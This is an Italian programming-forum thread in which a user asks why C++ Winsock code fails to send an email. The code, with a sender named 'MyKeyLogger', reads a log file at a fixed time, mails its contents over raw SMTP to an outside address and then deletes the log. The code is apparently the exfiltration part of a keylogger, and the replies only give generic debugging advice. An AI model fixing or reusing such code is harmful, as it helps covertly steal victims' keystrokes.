Visualizzazione dei risultati da 1 a 4 su 4
  1. #1

    [C++] Problema email winsock

    Salve, sto cercando di mandare automaticamente ad una certa ora un email al mio indirizzo in cui dentro ci sia scritto il contenuto di un file.
    Il problema è che non riesco a farla inviare al winsock e non capisco quale sia il problema.

    codice:
    void Timer(){
    	 char timer[9];
         _strtime( timer );
    
    
    	 if(timer[0]=='1'&&timer[1]=='0'&&timer[2]==':'&&timer[3]=='4'&&timer[4]=='6'&&timer[5]==':'&&timer[6]=='0'&&timer[7]=='0')
            SpedisciEmail();
            }
    
    void SpedisciEmail(){
         WSADATA data;
         WORD p;
         LPHOSTENT HostName;
         char *IPHost;
         char stringa[100000];
         struct sockaddr_in sock_addr;
         p=MAKEWORD(2,0); 
         WSAStartup(p,&data); 
         char helo[20]="helo libero";
         char mailfrom[30]="MAIL FROM:<MyKeyLogger>";
         char rcpt[35]="RCPT TO:<webmaster@scopinich.it>";
         char datas[6]="data";
         char point[4]="\n.";
         char end[5]="quit";
              
                     HostName = gethostbyname(HOST);
    
                     FileLogs=fopen(FileProva,"r");
    
                     sock=socket(PF_INET, SOCK_STREAM,0);
                     sock_addr.sin_family=PF_INET;
                     sock_addr.sin_port=htons(25);
                     sock_addr.sin_addr = *((LPIN_ADDR)*HostName->h_addr_list);
    
                     
                     connect(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr));
                     RispostaServer();
                     
                     send(sock, helo, strlen(helo), 0);
                     RispostaServer();
                     
                     send(sock, mailfrom, strlen(mailfrom), 0);
                     RispostaServer();
                     
                     send(sock, rcpt, strlen(rcpt), 0);
                     RispostaServer();                 
                     
                     send(sock, datas, strlen(datas), 0);
                     RispostaServer();
                     
                     for(long int i=0;i<100000;i++)
                     fscanf(FileLogs,"%c",&stringa[i]);
                     fclose(FileLogs);
    			     send (sock,"\nstringa\n.",11,0);                            
                     RispostaServer();                                                            
          	        
                     send(sock,point,strlen(point),0);
                     RispostaServer();
                                        
                     send(sock,end,strlen(end),0);
                     RispostaServer();
    
                     system("del log.txt");
                     
                     closesocket(sock);
                     WSACleanup();
                     }
                     
    void RispostaServer(){
    
    	char mess[1000];
    	int n=0;
    	n=recv(sock,mess,200,0);
    	mess[n]=0;
    	printf(mess,"%s");
    }
    Spero che voi programmatori esperti possiate aiutarmi
    Ciao ;-)

  2. #2
    Utente di HTML.it L'avatar di XWolverineX
    Registrato dal
    Aug 2005
    residenza
    Prague
    Messaggi
    2,563
    Non hai specificato l'errore.
    Cosa succede?
    "Se proprio devono piratare, almeno piratino il nostro." (Bill Gates)

    "Non è possibile che 2 istituzioni statali mi mettano esami nello stesso giorno." (XWolverineX)

    http://xvincentx.netsons.org/programBlog

  3. #3
    Succede ke l'email non viene inviata.
    Cmq ho modificato il codice, ma l'email non la invia lo stesso

    codice:
    void Timer(){
    	 char timer[9];
         _strtime( timer );
    
    
    	 if(timer[0]=='1'&&timer[1]=='1'&&timer[2]==':'&&timer[3]=='5'&&timer[4]=='0'&&timer[5]==':'&&timer[6]=='0'&&timer[7]=='0')
            SpedisciEmail();
            }
    
    void SpedisciEmail(){
         WSADATA data;
         WORD p;
         LPHOSTENT HostName;
         char *IPHost;
         char stringa[100000];
         struct sockaddr_in sock_addr;
         p=MAKEWORD(2,0); 
         WSAStartup(p,&data); 
              
                     HostName = gethostbyname(HOST);
    
                     FileLogs=fopen(FileProva,"r");
    
                     sock=socket(PF_INET, SOCK_STREAM,0);
                     sock_addr.sin_family=PF_INET;
                     sock_addr.sin_port=htons(25);
                     sock_addr.sin_addr = *((LPIN_ADDR)*HostName->h_addr_list);
    
                     
                     connect(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr));
                     RispostaServer();
                     
                     send(sock, "helo libero",11,0);
                     RispostaServer();
                     
                     send(sock, "MAIL FROM:<MyKeyLogger>",23,0);
                     RispostaServer();
                     
                     send(sock, "RCPT TO:<webmaster@scopinich.it>",32,0);
                     RispostaServer();                 
                     
                     send(sock, "DATA",4,0);
                     RispostaServer();
                     
                     for(long int i=0;i<100000;i++)
                     fscanf(FileLogs,"%c",&stringa[i]);
                     fclose(FileLogs);
    			     send (sock,stringa,strlen(stringa),0);                            
                     RispostaServer();                                                            
          	        
                     send(sock,"<CRLF>.<CRLF>",13,0);
                     RispostaServer();
                                        
                     send(sock,"quit",4,0);
                     RispostaServer();
    
                     system("del log.txt");
                     
                     closesocket(sock);
                     WSACleanup();
                     }
                     
    void RispostaServer(){
    
    	char mess[1000];
    	int n=0;
    	n=recv(sock,mess,200,0);
    	mess[n]=0;
    	printf(mess,"%s");
    }
    Analizzando i pacchetti in entrata e in uscita vedo ke la comunicazione col server è questa(-I- è la comunicazione in input e -O- in output):

    -I-220 smtp1.libero.it ESMTP Service (1.1.0-PF-CM) ready
    -O-helo libero
    -I-
    Stop

  4. #4
    Utente di HTML.it L'avatar di XWolverineX
    Registrato dal
    Aug 2005
    residenza
    Prague
    Messaggi
    2,563
    Per individuare gli errori dovresti controllare adeguatamente i valori di ritorno delle funzioni.
    "Se proprio devono piratare, almeno piratino il nostro." (Bill Gates)

    "Non è possibile che 2 istituzioni statali mi mettano esami nello stesso giorno." (XWolverineX)

    http://xvincentx.netsons.org/programBlog

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.